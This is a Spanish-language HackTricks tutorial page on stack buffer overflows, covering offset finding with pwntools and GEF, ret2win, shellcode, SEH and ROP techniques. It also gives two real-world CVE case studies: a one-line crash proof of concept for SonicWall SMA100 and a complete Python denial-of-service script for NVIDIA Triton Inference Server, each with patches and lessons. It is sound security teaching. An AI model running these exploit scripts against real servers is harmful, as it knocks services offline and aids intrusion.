Stack Overflow
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es un Stack Overflow
Un stack overflow es una vulnerabilidad que ocurre cuando un programa escribe más datos en el stack de los que tiene asignados. Estos datos en exceso sobrescribirán el espacio de memoria adyacente, lo que conduce a la corrupción de datos válidos, la interrupción del flujo de control y, potencialmente, a la ejecución de código malicioso. Este problema suele surgir debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.
El problema principal de este sobrescrito es que el puntero de instrucción guardado (EIP/RIP) y el puntero base guardado (EBP/RBP) para volver a la función anterior están almacenados en el stack. Por lo tanto, un atacante podrá sobrescribirlos y controlar el flujo de ejecución del programa.
La vulnerabilidad suele aparecer porque una función copia dentro del stack más bytes de los que se le han asignado, pudiendo así sobrescribir otras partes del stack.
Algunas funciones comunes vulnerables a esto son: strcpy
, strcat
, sprintf
, gets
... Además, funciones como fgets
, read
& memcpy
que toman un argumento de longitud, pueden usarse de forma vulnerable si la longitud especificada es mayor que la asignada.
Por ejemplo, las siguientes funciones podrían ser vulnerables:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Encontrar offsets de Stack Overflows
La forma más común de encontrar stack overflows es dar una entrada muy grande de A
s (p. ej. python3 -c 'print("A"*1000)'
) y esperar un Segmentation Fault
indicando que se intentó acceder a la dirección 0x41414141
.
Además, una vez que descubres que existe una vulnerabilidad de Stack Overflow necesitarás encontrar el offset hasta que sea posible sobrescribir la return address, para esto normalmente se usa una De Bruijn sequence. La cual, para un alfabeto de tamaño k y subsecuencias de longitud n, es una secuencia cíclica en la que cada subsecuencia posible de longitud n aparece exactamente una vez como subsecuencia contigua.
De esta manera, en lugar de tener que averiguar a mano qué offset se necesita para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndolo.
Es posible usar pwntools para esto:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
o GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Explotando Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to sobrescribir valores de variables locales dentro del stack hasta alcanzar los guardados EBP/RBP y EIP/RIP (o incluso más).
La forma más común de abusar de este tipo de vulnerabilidad es modificando la dirección de retorno para que cuando la función termine el control flow sea redirigido a donde el usuario haya especificado en ese puntero.
Sin embargo, en otros escenarios quizá solo sobrescribir los valores de algunas variables en el stack sea suficiente para la explotación (como en retos CTF sencillos).
Ret2win
En este tipo de retos CTF, existe una función dentro del binario que nunca se llama y que necesitas invocar para ganar. Para estos retos solo necesitas encontrar el offset para sobrescribir la dirección de retorno y encontrar la dirección de la función a llamar (usualmente ASLR estaría deshabilitado) para que cuando la función vulnerable retorne, la función oculta sea llamada:
Stack Shellcode
En este escenario el atacante puede colocar un shellcode en el stack y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
Windows SEH-based exploitation (nSEH/SEH)
En Windows de 32 bits, un overflow puede sobrescribir la cadena de Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH por un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivota de vuelta al gran buffer donde vive el shellcode. Un patrón común es un jmp corto en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload.
ROP & Ret2... techniques
Esta técnica es la base para bypassear la principal protección a la técnica anterior: No executable stack (NX). Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios abusando de instrucciones existentes en el binario:
ROP - Return Oriented Programing
Heap Overflows
Un overflow no siempre ocurrirá en el stack, también podría estar en el heap, por ejemplo:
Types of protections
Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, revísalas en:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Una buena demostración de por qué sscanf
nunca debería ser confiable para parsear entrada no confiable apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall.
La rutina vulnerable dentro de /usr/src/EasyAccess/bin/httpd
intenta extraer la versión y el endpoint de cualquier URI que comience con /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- La primera conversión (
%2s
) almacena de forma segura dos bytes enversion
(p. ej."v1"
). - La segunda conversión (
%s
) no tiene especificador de longitud, por lo tantosscanf
seguirá copiando hasta el primer byte NUL. - Porque
endpoint
está ubicado en la stack y es 0x800 bytes de longitud, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que esté después del buffer ‑ incluyendo el stack canary y la saved return address.
Una proof-of-concept de una sola línea es suficiente para provocar el crash antes de la autenticación:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Aunque los stack canaries abortan el proceso, un atacante aún obtiene una primitiva de Denial-of-Service (y, con leaks adicionales de información, posiblemente ejecución de código). La lección es simple:
- Proporcione siempre un ancho máximo de campo (p. ej.
%511s
). - Prefiera alternativas más seguras como
snprintf
/strncpy_s
.
Ejemplo del mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
El Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples stack-based overflows accesibles a través de su HTTP API.
El patrón vulnerable aparecía repetidamente en http_server.cc
y sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) devuelve el número de segmentos de buffer internos que componen el cuerpo de la solicitud HTTP actual.- Cada segmento provoca que se asigne un
evbuffer_iovec
de 16-byte en la stack mediantealloca()
– sin ningún límite superior. - Abusando de HTTP chunked transfer-encoding, un cliente puede forzar que la solicitud se divida en cientos de miles de fragmentos de 6-byte (
"1\r\nA\r\n"
). Esto hace quen
crezca sin límite hasta que la stack se agote.
Prueba de concepto (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Una petición de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y hacer que el daemon se bloquee en una compilación por defecto.
Parche y mitigación
La versión 25.07 reemplaza la asignación insegura en la pila por un std::vector
respaldado en heap y maneja correctamente std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Lecciones aprendidas:
- Nunca llames a
alloca()
con tamaños controlados por el atacante. - Las solicitudes chunked pueden cambiar drásticamente la forma de los buffers del lado del servidor.
- Valida / limita cualquier valor derivado de la entrada del cliente antes de usarlo en asignaciones de memoria.
Referencias
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.